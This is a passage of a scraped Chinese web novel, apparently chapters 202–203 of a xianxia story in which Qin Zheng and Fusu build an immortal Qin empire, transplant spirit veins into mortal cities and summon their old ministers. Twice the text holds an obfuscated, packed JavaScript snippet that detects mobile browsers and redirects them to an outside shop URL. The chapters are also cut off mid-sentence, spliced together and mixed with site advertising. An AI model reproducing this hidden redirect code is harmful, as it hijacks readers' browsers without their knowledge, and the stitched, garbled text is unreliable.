玄火化作小小一枚火苗依然稳稳落在小鸟崽的脑袋上,和他头顶的漂亮冠羽贴在一起。乍一看以为这只玄鸟的冠羽十分特殊,是火焰模样的。 秦政咔擦拍下新皮肤“火焰冠羽”,上传到朋友圈,和先祖一起欣赏。 秦稷第一个点赞留评: 「可爱,哪里弄来的火苗?」 秦政忽略了他。 只要回答,秦稷就会厚着脸皮问他讨要一朵,最好的选择是无视。 但是不搭理,昭襄王也会私聊发消息轰炸。秦政眉头微皱,抬手就把人屏蔽了。 地府光屏的屏蔽是有两种可选模式的。 说更新,记住域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 第一种,悄悄屏蔽,对方不知道你屏蔽了他。第二种,公然屏蔽,对方给你发消息的时候,就会像现在这样—— 秦稷:「给寡人也整一朵!」 系统提示:「对方已经屏蔽了您的消息,请稍后重试。」 秦稷:…… 秦稷截图发朋友圈,控诉某个晚辈一点都不尊重曾祖父。 可惜无人在意。 秦政正在应付另一位始皇帝的私信: 「这火焰玄鸟倒是有趣,如何变出来的?朕叫阿桑学一学。」 秦政可能是和太子待久了,第一反应: 「变给你玩?」 始皇帝:「……阿桑喜欢把捉来的魂魄变成各种动物,不是他自己变。」 秦政想起来了,好像是这么回事。 看来不是所有始皇帝都喜欢玩儿子,也不是所有扶苏都喜欢自己变成小动物逗父亲开心。 秦政一本正经地回答说是扶苏自己捏了个玄鸟的身体,然后契约了一朵天地灵火。 没有多提玄鸟大人在里面发 第 202 章 仙秦帝国 在直接登门找暮天麻烦之前,扶苏还要去渡个金丹劫。 明寒道君带着扶苏师兄离开的消息很快就传遍了宗门。 起初大家听说扶苏不参加后续大比时,虽然可以理解,但还是有些遗憾。毕竟扶苏实力是真的强悍,比试的头名非他莫属。 不过很快众人就听闻,扶苏金丹突破在即,应该就是这几日的功夫。 顿时又释然了。 既然扶苏师兄很快就要成为扶苏师叔,金丹期修为自然无法继续参加大比,否则岂不是在欺负修为低他一个大境界的同门。 天玄宗只有筑基修士才需要参加大比,到了金丹之后就能去任管事、拥有一个小山头了。抬举的话,能称一声长老。 作为长老自然没有大比展露头角的必要,修士到了金丹期也少有再行拜师的,都是自己混,除非金丹之前就已经有了师承。 说到底,宗门大比是为了给底层弟子一个被厉害前辈收为徒弟的机会。 扶苏的离开掀起了一点水花。 但是不大。 众人议论了两天,猜测他多久会回来,晋阶之后是不是还要在外历练一番。 话题很快转到了明寒身上。 有人感慨道: “本以为此次大比扶苏师兄现身了,明寒道君也出了关,说不得道君会看在师兄的份上多关注一二大比的情况。” 她的同伴知道她想说什么,摇了摇头: “即便道君多看了我们几眼,也未必就会升起再收几个弟子的兴致。有师兄珠玉在前,只怕——” 别到时候她们想展示自己没成功,反而叫道君看到其他弟子确实都很弱,坚定了自己不如只养一个徒弟的决心。 “何况,师兄到底是道君亲子。” 人家估计根本就没有收徒的心思,之前那个会尽心培养,也是看在血脉的份上。 不能给修真界第一人当徒弟,只好退而求其次看看其他明字辈长老。当然,像他们这种自己从内门和外门弟子打拼上来的,一般也很难被厉害的前辈看重。 人家真要收徒,当初入门的时候就收了,不会拖到现在。 众人都不觉得明字辈的长老会收徒。 结果这次大比还没结束,明心和明玥纷纷收了 几个徒弟。众人仔细一打听才知道是上回上交炼气期秘境的那几人。 这是前两年的事情了当时他们还是炼气期弟子。这两年突破到了筑基今年大比本来是想通过考核进入内门的。 论资质实则不算太好。 毕竟他们和扶苏是同一批入门的距今已经过去了十五六年。这么长时间才突破到筑基期在天才如云的天玄宗其实没什么竞争优势。 胜在心性坚毅倒比不少单灵根天才更沉稳。 肉眼可见以后的修炼之路能稳扎稳打应该不会因为心境问题卡在筑基期无法突破至金丹。 寻常弟子看不透只觉得他们是走了狗屎运靠着上交秘境才得到长老青睐。甚至觉得长老是为了奖励他们才收徒的毕竟之前掌门给的奖赏确实很寒酸。 却不知人家真正靠的是心性。 明心和明玥知道灵根可以提纯所以他们的资质稍差也不影响。资质不再是收徒的最重要因素 外界不清楚这件事掌门也摁下了此事不欲直接把那提纯的功法透露出来。长老们只以为他是怕其他门派得知殊不知掌门是想瞒着暮天自己悄悄发育势力。 虽然后来还是被暮天发现了但这东西也确实不能随便公开。否则各大宗门一定会立刻上门逼迫天玄宗共享谁让利益牵扯实在太大了。 扶苏随着父亲来到了之前认主的元婴秘境。 众人对于他跑外头去晋级不太理解宗内明显更安全一些。不过想想明寒也会跟着一起去就也没多管明寒总不能护不住自己儿子。 可在扶苏看来宗内还真没外头安全。 对父子俩来说目前最安全的地方显然还是自己的地盘。元婴秘境经过十几年的经营已经非常像模像样了。 扶苏直接参考了网游设置怪区的逻辑对秘境里的妖兽妖植进行了限制越往距离人类聚居地远的地方走危险程度就越高历练难度逐级递增。 为了方便弟子们针对性训练也尽量把同类小怪设置在同一片区域。 虽说这么折腾之后弟子以后去正常山林里可能会不太适应。毕竟外头都是妖兽混居的时不时蹦出来个不同的妖兽袭击路过的修士。 但只要弟子先挨个把不同类型的妖兽都刷一遍,尽数掌握了技巧,以后无论遇到哪种都能立刻反应过来,知道该怎么对敌。 扶苏认为这是在刷题。 题海战术永远有用。 刷题刷多了,哪怕出去遇到个不认识的妖兽,也能飞快从细枝末节判断它和自己已知的哪种妖兽最像。可以参考对付那种妖兽的办法,稍稍修改一下拿来对付未知妖兽。 后续父子俩还去认主了两个出了名的妖兽妖植品种多样化的秘境,让弟子隔段时间进去练练手。 效果很显著。 然后扶苏就觉得这个设置不错,可以把去这两个秘境历练当成是期末考,强制规定每隔一段时间要去考一次。 题都刷了,如果不考试,那将失去一大半的意义。 秦政没太拘束儿子,任由他折腾。 这次父子俩过来,掌事先来回禀了最近仙国内的情况。 掌事是明玥的二弟子。 拉拢明心和明玥的计划非常顺利,三家本来关系就很亲密,听说了有关暮天的真相之后,两人很快就做下了决定。 而后作为投名状,他们将手下最忠心且能干的弟子都派来协助父子二人。国内还是要有厉害的修士坐镇的,这样才不容易出乱子。 天玄宗那边只知道这几年长老弟子中多有修为进入了瓶颈期的,大都跑出去磨砺心境了。 是以对他们不在宗门这件事,众人并没有多想,也完全没发现不对劲。 二弟子轻霞先行礼问安,才道: “国内如今虽然无金丹弟子,却有天赋卓绝者已至筑基中期。再过七八年,只怕就要有弟子突破了,不知可要安排一个金丹期的考核秘境?” 目前手里掌握的两个考场,分别是炼气期和筑基期的。金丹期的秘境还没有,因为宗内还没有这个境界级别的弟子。 秦政曾从暮天手里截走了不少好东西,里头就有一个灵脉。 暮天这人也是个人才。 别人找灵脉,都是找灵气充沛的。这样散发出来的灵气足够多,修炼起来也事半功倍。 暮天深知自己没办法抢占那些大灵脉据为己有,大灵脉都被各大宗门瓜分了,在其上建立宗门驻地。 他就去找小灵脉,寻到一 大堆小的灵脉用秘法夺取。然后融合,融出了一个大灵脉来,独自享用。 这个操作说实话挺遭人诟病的。 他把当地的灵脉夺走了,那一片就会渐渐灵气稀薄起来。原本依赖灵气生长的动植物都会变得虚弱,最后只剩寻常生灵可以在此地存活下来。 灵兽还能跑路去其他灵脉处,灵植却大多无法挪窝。能自己挪动位置的灵植,基本都是修炼有成的,那种反而不怕灵脉丢失。 黑吃黑没有心理负担,秦政直接把他融合的成果抢走了。放到元婴秘境中,于是本就灵气充沛的仙国驻地更加适宜修炼。 所以哪怕弟子们暂时还没能把灵根提纯到太高的纯度,依然维持住了比外头那些大宗门弟子更高的修炼效率。 秦政听罢只说不急: “既然还有六七年,那便等十年后再安排。 轻霞一愣,很快反应过来: “也是,若只有一人要参与考核,属实是不必特意安排一个考场。 总得能凑出足够的考生才好,十年之后的话,确实更合适一些。 秦政这次来,主要是护卫儿子晋阶。顺便处理一下仙国内的政务,把挤压的事情解决掉。 扶苏被赶去闭关准备晋阶,秦政自己则叫来群臣商议。 明玥他们的徒弟已经在仙国内按照秦政设置好的职位领了差事,不再是宗内的各种长老,而是参考国家制度。 修真宗门那些乱七八糟的长老只能管理至多几万人的势力,体量再大的宗门也难以突破二十万,人一多很容易混乱。 秦政想要的却是一个极为庞大的仙国。 如果大秦只有区区几万人,那有什么意思?治下没个几千万臣民,好意思称之为国吗? 轻霞她们起初不太适应新制度。 但多接触一段时间,她们就发现新制度确实有它的优越性。以往在宗内会看见的散漫景象,在仙国里根本见不到。 国内修士或许也会悠闲自得,却和修真宗门中那种纪律散漫是完全不同的概念。 宗门弟子一般只用遵守少之又少的门规即可,最需要注意的无非是在师长面前要懂事谦逊,不能冒犯。 可那并非是因为纪律严格,而是单纯的怕死。在这弱肉强食的修真界 里,冒犯了高阶修士,人家是可以直接打杀了低阶修士的。 仙国之中,目前足有七万人。 这个数量是相当惊人的。 但它实际上并不能达到全天下所有单灵根凡人的上限。 四十九洲大大小小一共两百多个国家,却因为修真界人口密度不高的缘故,每洲也不过才上亿人口。 设想一下华国境内只有一亿人是个什么概念?说地广人稀完全不为过。 拥有灵根的修士,在凡人中占比不过千分之一。总体量五十亿左右的修真界,差不多能有五百万人身负灵根。 其中,70%是五灵根和四灵根,28%是三灵根和双灵根,最后的2%才是单灵根。 即便如此,也有十万人了。 当初天玄宗在凡人国度吸收单灵根资质的幼年和少年人,做出了年龄限制。所以不可能十万人全都吸纳过来,肯定会有人因为年龄超过条件失去机会。 若非凡界百姓的平均寿命比较短,少有能活到五十多的,有些穷困国度的百姓更是三十岁就已经苍老得行将就木了。 青少年单灵根的占比也不会高达七成,足有七万人之多,而是应该有更多超过年纪的单灵根才对。 七万人可不好管。 幸而修士们日常更沉浸于修炼,相比起来出门活动就少许多,大大降低了产生冲突和意外的机会。 秦政则在思考那五百万潜在修士。 修真界的资源是有限的,所以大宗门从来不会放任有灵根的人都来修仙。 他们招收弟子时会挑资质,不仅是为了自己能培养出厉害的弟子,也是防止太多人参与到修炼中去。 现在修真界的修士总人数也不过才小几十万而已,多是出自修真世家或者修界的凡人家庭。 之前的五百万,是没算上这部分的,单纯算的是凡界之人。 这几十万里,包含了一些出自修界的五灵根和四灵根。虽说大宗门不收,小宗门是却是收的。 小宗门体量不大,而且只在修界收徒,大宗门也就睁一只眼闭一只眼了。如果他们跑去凡界大肆收徒,来者不拒,修真界绝不会作壁上观。 能量是守恒的。 如今的资源本就不够所有人都修到高阶,修士越多 ,被占用的资源就越多。别的不提,光是灵气就不够用。 可想而知如果五百万凡界修士加入修行一途中与诸位争夺资源,修界霎时间就会陷入灵气紧缺的困境。 但秦政并不想隔绝凡界多灵根的上升渠道。 飞升本也不是单灵根天才独享的待遇,五灵根者若有大气运或大毅力也能成仙。千万年来,各大宗门联手断绝他们上升的途径,做得比古代王朝的权贵还绝。 然而灵气不足又是客观存在的制约。 哪怕秦政想开放全民修仙,也要考虑到资源问题。资源不足一切都免谈,届时所有修士都得一起体验“末法时代。 这个末法不是说灵气断绝,而是说灵气均摊到每个修士头上都只剩一点。所有人都难以晋升,和末法也没什么区别了。 必须要开源。 秦政首先把目光放到了仙界。 仙界的仙气转换成灵气后,能膨胀出海量灵气,完全足够解决这个困扰。但仙界与修真界有壁障,仙人也不一定乐意对修真界施以援手。 如果不能指望别人,就得靠自己。 所以秦政很快想到了自身取之无尽的功德之力,将之转换成仙力、再转换成灵力,膨胀的倍数会更加恐怖。 能量进入修真界之后,就能进入循环中了。它不会是被大量消耗掉的,只会以另一种形式存在于此界,日后变回成灵气重归天地。 修真界一向如此。 修士死亡,体内灵气四散,回归原始。 修士飞升,通天道开启,仙气自其中蔓延至修真界。 本意是为了涤荡新仙人的周身,将他体内的灵力改造成仙力。但客观上,也会有多余的仙气逸散,化作灵力扩充修真界的能量储备。 秦政和扶苏略略算了一笔账。 每飞升一个,都能从仙界薅到至少能再培养出一个渡劫期修士的灵力体量。 而修真界本身能出的渡劫修士其实没那么多,这些灵力向下惠及。换成培养其他等级的修士,可能就是十个合道、一百个元婴、一千个金丹、一万个筑基、或者十万个炼气。 扶苏当时就说: “修真界只要争气一些,多飞升几十个仙人,底层多灵根的修炼能量就有了。 哪 怕世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037612|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运行过程中能量会缓缓地消耗在延续世界存续上,速度也是比较缓慢的。所以真正的末法时代一般要等千千万万年才会到来,暂时不用考虑它。 况且只要薅仙界羊毛的频率足够高,这一切就都不是问题了,能量只会越来越多。 修真界如今的矛盾在于,大家都想当金丹元婴合道期的修士,而非炼气。所以那点能量增加对他们来说杯水车薪,飞升一个才能培养百个千个的大能,效率太低了。 但开放底层的修炼后,一跃而出的金丹和筑基修士绝对不止区区几万人。飞升个几百修士都不够填窟窿的,这就是个无底洞。 还有最重要的一点。 修真界的灵气越浓厚,孕育出的身负灵根的凡人就越多。现在只是五百万人拥有灵根,以后可能是五千万、五亿、五十亿。 最终全民拥有灵根,全民修仙。 唯一的庆幸就是修士不如凡人好生养,他们想有个孩子非常艰难。哪怕个个都能活千百年,也多的是一生只有一个甚至生不出孩子的情况出现。 所以不用担心修士增多带来人口-爆发。 只需要担心家里出了修士后,大量凡人家庭得到修士的物资支援,生活安逸富足起来,于是开始卯足了劲的生孩子。 人口-爆发虽迟但到。 秦政意识到: “若朕想让身负灵根者都能修仙,只怕足够五百万人修炼的灵气体量还远远不够。凡界人口不断膨胀,修士只会越来越多。直到最终所有新生儿都携带灵根,世间再无凡人。 这样一来,修士就会因为生育困难,种群数量得到控制。还会出现许多修士无心成婚生育,人口慢慢下跌的情况。 好在这得是万年后才需应付的情况。 相信修士自己会绞尽脑汁研究提升生育率的办法,自己将人口基数拉回来的,不需要他们操心。 父子俩只要考虑灵气不够的问题。 最终他们定下了一个可行方案。 先用自身的功德蕴养更多的灵脉出来。 所谓灵脉,就是一种会不断散发灵气的地脉,深埋在地下。它会一边吸收空气里逸散的驳杂灵力,一边往外吐出精纯灵气,供修士修炼,是个中转净化器。 父子俩需要更多的 灵气进入循环,借助灵脉就是最好的办法。 他们完全可以人为给灵脉输送大量灵气,辅助它壮大,这样很省事。只是如今的灵脉多位于修界,扶苏却觉得应该在凡界安插新的灵脉,改造凡界环境。 把整个修真界都打造成灵气充沛的地方,总比继续提升修界的灵气浓度好,这样可以强行打破修士垄断。 为此,父子俩要付出的也不过是上万亿的功德而已。 区区万亿功德就可以在四十九洲每一处大型山脉都布置出一条小型灵脉,实在是一笔划算买卖。哪怕换成中型或者大型灵脉,他们依旧负担得起。 毕竟父子俩的功德余额比天文数字还天文数字,万亿不过是个零头。 这年月就是旱的旱死涝的涝死。 如今追求信仰成神的父子二人实在已经不太能用到海量功德了,手里留存一些在成神前保持实力即可,剩下的都是能够动用的额外资金。 扶苏提出这个方案,就没想赚回本。 也不是每一笔买卖都追求回本的,人生在世,总要为这天下做一些事情,才不枉白来一趟。 当时扶苏还开了个玩笑: “传闻上古时期金丹遍地走,元婴多如狗,人人可以修仙,五灵根才是众人追逐的最佳资质。 “因为他们从不担心灵气不足导致修炼速度太慢,五条灵根同修会叫自己剩余寿元来不及飞升。 “若我与阿父能叫修真界重回上古,岂非做了天大的好事?那样一来,世界等级也会提升的吧! 救世是大功德,协助世界等级提升又如何不是呢? 不过做到这个程度,功德的奖励已经不重要了,还真不一定能拿回为之付出的功德数量。但它绝对和救世一样,能够为成神之路添砖加瓦。 扶苏也就是这么一说,他并不确定自己和父亲能否当真做到那个程度。 如果只是单纯的将世界变得各处都灵气充沛,却达不到上古遍地灵宝的水准,其实也不用太在意。 他只是想做点什么,没想寻求回报。 秦政倒是多考虑了一些: “若能一统修真界,再叫国民尽皆修仙,那我大秦必然成为此界最耀眼的传说。万万年后,哪怕大秦不再,依然会有人对此津津乐道。 扶苏灵光一闪,忽的笑了: “修真界始皇帝吗?还是阿父想的长远。” 缔造华夏大一统,是华夏的神话。那么缔造修真界大一统,又如何不是修真界的神话呢? 后人哪怕不知夏商周,也必然知道大秦的存在。代换到此界,就是后人不知道什么上古势力、中古宗门,却必然听说过仙秦帝国。 扶苏心想,他阿父值得这个待遇。 所以修炼之余,扶苏开始积极地练习怎么人造灵脉。 要用功德转换出来的灵力人为捏出能用的灵脉,还要让这些灵脉正常运转不会出问题,不是一日之功。 扶苏还挺担心他自己捏的会出状况,比如运转着运转着突然分崩离析了。 后来他想到了一个投机取巧的办法。 既然自己捏的不够稳定,那就借用现成的。比方说暮天之前融合出的大型灵脉,把它重新分离成千百个小型灵脉,然后挨个喂肥成大型灵脉,埋到凡界各地去。 修界还有不少区域同样灵脉繁多,大大小小扎堆在一起。这也太浪费了,不如把里头多余的挖出来,蕴养成大型灵脉再换个地方埋下。 一个大型灵脉能覆盖的区域很是不小,现阶段可以通过把小灵脉喂大来解决数量稀缺的问题。 秦政也结合修真界常识表示: “灵气充沛的地方会孕育出新的灵脉。” 届时只要不断把新生的小灵脉挖出来喂大,再给塞到灵脉相对稀疏的地方补缺,天长日久,就处处有灵脉了。 扶苏觉得像天玄宗那样就挺好。 天玄宗如今有一条超级灵脉作为主脉,几座重要的峰头下面还埋了移植过来的大型灵脉,后来就孕育出了好多小型灵脉。 现在天玄宗地下灵脉纵横交错,密密麻麻宛若菌丝。 如若天下处处都像它这般,重回上古指日可待。 秦政没有打击儿子,而是鼓励他: “好,那你努力,阿父相信你肯定能够做到。” 「寄予厚望」永远是能忽悠到太子殿下的特攻套路,简单但有效,扶苏每次都会心甘情愿地上当。 扶苏斗志昂扬地去晋级了。 金丹雷劫没有任何难度,很快渡完走出静室,发现父亲 第 203 章 离开修真界 凡界的动作太大,最初或许还能被众人一致忽略,随着父子二人做的事情越来越多,难免露出一些端倪来。 别的不提,众多金丹修士进入凡界担任郡守这件事,就不可能完全瞒住。 金丹修士去当官已经足够叫人震惊了,然而更让人迷惑的还在于,哪里来的这么多金丹期? 仔细探查,终于顺藤摸瓜发现了大量小宗门被收编整合的事情。 这个不知道哪里冒出来的大秦仙国,明显野心不小。就是不知道背后有谁在给它撑腰,光一个金丹期的太子显然不够。 各宗私下开会,商议是否去试探一二。 秦政暂时没派筑基期弟子去府中担任知府职位,左右目前凡界的修士数量还相当有限。一郡之地拥有一个金丹,完全是绰绰有余的,不必再加派。 当然,更重要的一点是灵脉不足。 金丹修士过去之后能兢兢业业干活,一方面是他们走对了路子。以官入道正适合他们修行,修炼的速度比往日要快。 另一方面,则是郡府底下埋了灵脉。否则没有灵气,路线再合适也是白搭,修行最重要的就是能有充足的灵气吸纳。 倘若此时把筑基修士也加派去各地任职,目的地点没有充足的灵力,那就是耽误别人的修行了,会与人结怨。 扶苏从不干这种事。 一个高明的商人,要懂得合作共赢。 面对敌人当然可以秋风扫落叶,一分利也不让。面对友方却最好选择互惠互利,生意才能长久。 扶苏原本预计的是在各洲的大型山脉下面埋灵脉。 因为灵脉一般就是诞生在山脉中,可能因为山脉本身可以给灵脉作为屏障,比之平地更安全一些。也可能山林环境好,有利于灵脉的生长。 但扶苏与父亲详细研究过后,认为除非把城池挪到山上,不然灵脉还是留在城中人员聚集处最佳。 他们埋灵脉本来就是为了造福臣民,离得远了反而不美。各大宗门为了修行方便,才在山中定居,若非拥有法术之便,日常生活将会非常困扰。 父子俩都没打算把城池挪山上去。 原生灵脉爱诞生在山底是它们自己的事情,既然现在是移植的,只要移植的位置不至于把灵脉养死,两人就 决定跟随自己的心意来。 所以两百条大型灵脉被埋在了各郡的郡治所在,全城百姓都能受益。 由于埋的是大型灵脉,想来灵气对百姓身体的改造会很快显现出来。 最初可能只是病痛消退、延年益寿,从平均寿命三四十岁增长到相对正常一些的五六十。 再过个五六年,好处会荫蔽到下一代。城中的新生儿定然会比以往更健康,携带灵根者的比例也会增加。 扶苏这日回第一洲处理点事情,路过最先埋下灵脉的郡治。恰巧遇到一对年轻的夫妻相携路过,似是结伴出来采买布匹的。 妻子轻轻摸了摸小腹: “还是住在城里好,昨日才搬来,我就觉得身体舒服了许多。原本村里大夫说我这胎没坐稳,我现在倒觉得没有之前那么难受了。” 丈夫很是高兴: “我早便同你说了,二姨她就是搬来城里后体内的病痛才减轻许多。早劝你搬来,偏你嫌弃城中租金贵。” 扶苏驻足看了一会儿。 妻子原本似有流产的征兆,如今被灵气滋养后胎儿稳健了许多,倒也是桩好事。 不过并非所有人都有钱能搬进城里住,他还得多多努力。如今的灵脉只够填充郡治,寻常城池底下都没有埋下,更遑论那些偏远村落。 扶苏曾经大略算过。 一洲二十郡,一郡十府,一府十五城,算起来差不多一共是三千座城池。光一郡就要三千条灵脉,还不算上底下的村庄,是个浩大的工程。 好在暂且不必每条灵脉都用大型的。 慢慢来吧。 人造灵脉还是要尝试一下的,光靠自行诞生效率的还是太低了一点。 扶苏处理完事务回到父亲身边。 目前仙秦的都城暂且定在元婴秘境中,而修真界最方便的一个点就是,拥有传送阵。 只要给每个大城池都设置一个直达秘境入口处的传送阵,那么无论哪一处出现问题,都城下派的钦差都能瞬息抵达。 秘境又是个独立的空间,安全系数远高于其他城池。有人试图攻破国度,前提得是他进得来。 其他品级的秘境或许还有些危险,比方说元婴期秘境,合道和渡劫大能可以轻易撕开壁障。而且他们进来之 后想要覆灭都城也相当简单,什么都不用作,直接以修为境界将秘境撑得溃散即可。 这就是各大宗门明知住在秘境里最为安全却不选它的原因。 除非能够契约渡劫秘境,不然就太不稳定了。只有渡劫秘境不会被随便攻入或者毁掉,而且旁的秘境也没法让宗内的渡劫大能进去驻守。 偏偏,谁也没能契约成功。 秦政把目标放在即将开启的渡劫秘境上,那是他看好的都城选址,元婴这个只是暂时用一用。 仙国扩张后,父子俩已经不必费心去修炼了。只要按照平时的日常那样处理国事,大秦一直欣欣向荣的话,修为就会飞涨。 扶苏认为,大好机会不蹭白不蹭。 所以他把龙身放了出来。 他做不到和父亲一样施展分神术给第二具身体激发活性,然后叫它跟着一起修炼。却可以在功德商城购买相关服务,依靠外力达成无副作用分魂的结果。 然后就可以两个身体一起蹭修炼了。 按照这个修炼速度,扶苏怀疑如果自己没有瓶颈的话,哪怕一路九转过去,要不了三百年也能成功达到渡劫巅峰。 等两个身体的修为都抵达这个境界后,就可以尝试用大道天书教授的方法完成双体的融合。 总是切换来切换去也麻烦,一个身体能解决所有总归是件好事。 秦政的修炼速度还比扶苏更快。 扶苏当皇帝的心到底没有他爹那么纯粹,表现在修炼上就是效率略差一筹。 不过扶苏如果肯分点心神去琢磨一下生意经或者和人打打舆论战的话,或许能获得一点效率上的加成。 然而太子殿下所处的环境实在不太适合弄这些东西,修真界给他提供的土壤还是太少了。 而且殿下最近真的很忙,没空。 扶苏回来就一头扎进研究里。 他之前想着捡现成的便宜,就说服自己不去研究人造灵脉了,理直气壮地躲清闲。如今见识到巨大的需求缺口,不得不无奈回来重新拾起研究。 人欲偷懒而条件不许,只怪手头没有足够的能干臣子。倘若能找出一个这方面的科研人才,也就不需要扶苏亲自来琢磨了。 扶苏把玩着一块灵石: “我怎么总 觉得臣子不够用?” 每去一个世界都有这种感觉。 如今想来这些年遇到的臣子里头还是最初的那些最得他心意。可惜不好次次都把人喊来加班这样会显得君王手下无人离不开他们。 秦政用笔尾轻轻敲了敲他额头: “你最近要做的事情便是把李斯蒙毅他们叫来他们也帮不上什么忙。” 扶苏一想也是: “看来我只是单纯的见不得他们闲着。” 上头的陛下和太子如此忙碌身为臣子怎能在地府悠闲度日。何况他们也不常能抢到做任务的机会认真算来好像是挺无所事事的。 扶苏决定了: “还是得把人拉来干活才好。” 况且仙国中最好一直有定海神针坐镇哪怕不是李斯等人待着不挪窝也得排个班轮流过来值守。 光靠修真界里培植出来的心腹扶苏觉得并不是那么靠谱。何况仙国出现反叛造成的后果会格外严重要把拿权柄回来也更费劲。 秦政深以为然: “以李斯蒙毅他们的性子来了修真界应当也能与你我一样修为飞速增长。” 事情就这么说定了。 四十九洲的领土范围会是原本大秦的五十倍之多光靠陛下一人处理确实太辛苦了些。 哪怕国内很多问题都能通过修为解决修士本身也会引发新的问题。目前只有十几洲的地盘已经忙碌异常了不摇人确实太过勉强。 即便修士可以不睡觉一天十二个时辰办公扶苏也不希望父亲如此忙碌。 为了合理化李斯他们的出现。 太子殿下这日心情愉悦地带回来了几十个据说是“刚从凡界发现的好苗子”皆是十五六岁的少年人。 轻霞好奇地问道: “殿下去凡界还顺便收弟子了?” 扶苏笑吟吟地回答: “非也只是仙国每年都会安排人去各大城镇招收新弟子今年招到了一些瞧着不错的我就单独带回去教导了几日。” 蒙毅绷着脸和李斯一起站在最前头 轻霞的目光扫过他们: “年纪大了些之前怎么没去参加招新?” 国内年年都会派人去招新,年纪大的前头就招走了。到了近几年,基本都是刚够到参加灵根测试年纪的小幼童,少有超过十岁的,更遑论十五六的少年。 扶苏也想叫他们以幼年态现身,但那样太小了,无法直接任职。而不任职单纯修炼的话,他们就没办法迅速享受到以官入道的修炼速度加成。 总不好给一群小娃娃封官。 扶苏压低声音打补丁: “这些是从修界抢来的。 轻霞秒懂。 凡界确实没有这样年纪大的好苗子,修界却有。因为那些宗门不会年年招新,都是隔上许多年才招一次,有些人运气不好就会拖到十几岁才遇到有人来招新。 虽然修界目前都被宗门瓜分了,按理来说扶苏应该没法去那边拐带弟子。要是让那些宗门知道有外人跑来招揽,无异于虎口夺食,肯定会大怒。 唯独修界一些三不管地带,会出现多个宗门都能来此地招人的盛况。比如扶苏当初去的那个,就同时有好几家在招收弟子。 轻霞见太子讳莫如深,怀疑他是跑去私人地盘偷人了。 所以她明智的没有多问。 扶苏应付完国内高官的疑惑后,很快给群臣安排了任务。 该留守的留守,该外派的外派。还有武将可以安排去统领修士打仗,先从小型战役打起,把修为练上来了才好去参与大战。 率领修真界的兵卒就是比较麻烦,主将修为不足容易无法服众。好在打凡人国度带点炼气期弟子去就可以了,扶苏相信将军们能很快晋升到筑基的,要不了太长时间。 术业有专攻,自从将军来后,扶苏就不去亲自带兵了。 他带兵的能力只能说凑合,勉强达到及格线水平,不至于会给父亲丢人。相比之下,还是招揽凡人国度中的权贵更顺手些。 但现在人手充足了。 扶苏愉快地把招揽的活也散了出去,拍拍因为年少所以从大将军变成蒙小将军的蒙恬肩膀,对他寄予厚望。 “阿恬,说服权贵投效大秦的事情,就交给你了。 蒙恬:…… 太子殿下还是这么擅长偷懒。 将军们出去打仗,效率比扶苏高得多。战功赫赫的结果就是,修为也窜得十 分惊人。 “以某某入道”说得容易真正操作起来其实很有门槛。好在父子俩通过大道天书掌握了各种修炼秘诀在修行方面总能给臣子大开绿灯。 李斯最近被安排了一个新的任务就是刻录大道天书中某些适合公布给臣下的内容回头下发下去。 这个金手指简直堪称修炼一途的最强辅导书不仅总结了许多合理捷径还附带海量注解。拿着它给的资料修炼差不多堪比拿着攻略升级通关。 笔记下发下去之后忠心的臣子越发忠心起来。墙头草臣子也越发不敢造次。 至于臣子中的奸细—— 秦政本来还试图防备过后来发现自己有点多虑了。拥有奸细的前提是你的敌人发现了你并且开始提防你。 可各大宗门发现他的时机也太晚了甚至一直不清楚仙国底细。除了后知后觉地试图去策反外派郡守都城内的京官他们根本接触不到何谈奸细? 李斯都惊呆了: “这群修行之人也太……” 把到嘴的迟钝咽下去换了个词: “……耿直了。” 会玩心计的人在不怎么动脑子玩权谋的修真界简直堪称降维打击。 好在耿直的修士们好歹懂得亡羊补牢比如在大秦军队势如破竹的时候跑出来捣一下乱。 秦政接到消息后有些一言难尽: “你是说那些修士在蒙恬劝降朝国成功之后正在受降时突然跑出来攻击了我大秦的军队?并且告知朝国臣民不必忧心有他们在秦国必然无法欺辱朝国他们不会叫秦国吞并朝国的?” 虽然一直知道修士们不大聪明。 但是这也太不聪明了。 他们甚至都没搞清楚大秦为什么能叫那么多国家俯首称臣心甘情愿并入版图 来传讯的王离沉稳的说: “是的他们还表示修士本就不该干涉凡人之事。我大秦的修士违反了修真界约定俗成的规矩他们要将人捉拿下狱。” 扶苏轻笑一声笑声极冷: “修士不该插手凡人之事但是互相争斗时不慎波及到了凡人也没见他们会因此受到什么惩罚。倒是拿凡人的性命炼丹 炼得很起劲,还有脸来这里装好人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037613|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>王离点头赞同: “起先大秦吞并十洲,也不见他们出来说什么。莫非前头十洲的凡人就不是凡人,后头的才是?找借口都找得可笑。 秦政问起事情后续。 他和扶苏敢让修为低下的将军们带兵在外,就是信任他们的能力。哪怕修为不够,好歹也有功德作弊,秦政其实并不担心蒙恬会吃亏。 事实也确实如此。 蒙恬耐心听完他们的屁话之后,也没急着发难。 他扭头询问朝国国主: “大王莫非也觉得我大秦是侵略者,破坏了朝国的安稳? 朝国国主起先被那修士的话语惊呆了,不理解自己听到了什么。 重点是他实在搞不懂这群修士跑来管什么闲事,是不是有毛病?这里有他们什么事啊!真是的!莫名其妙! 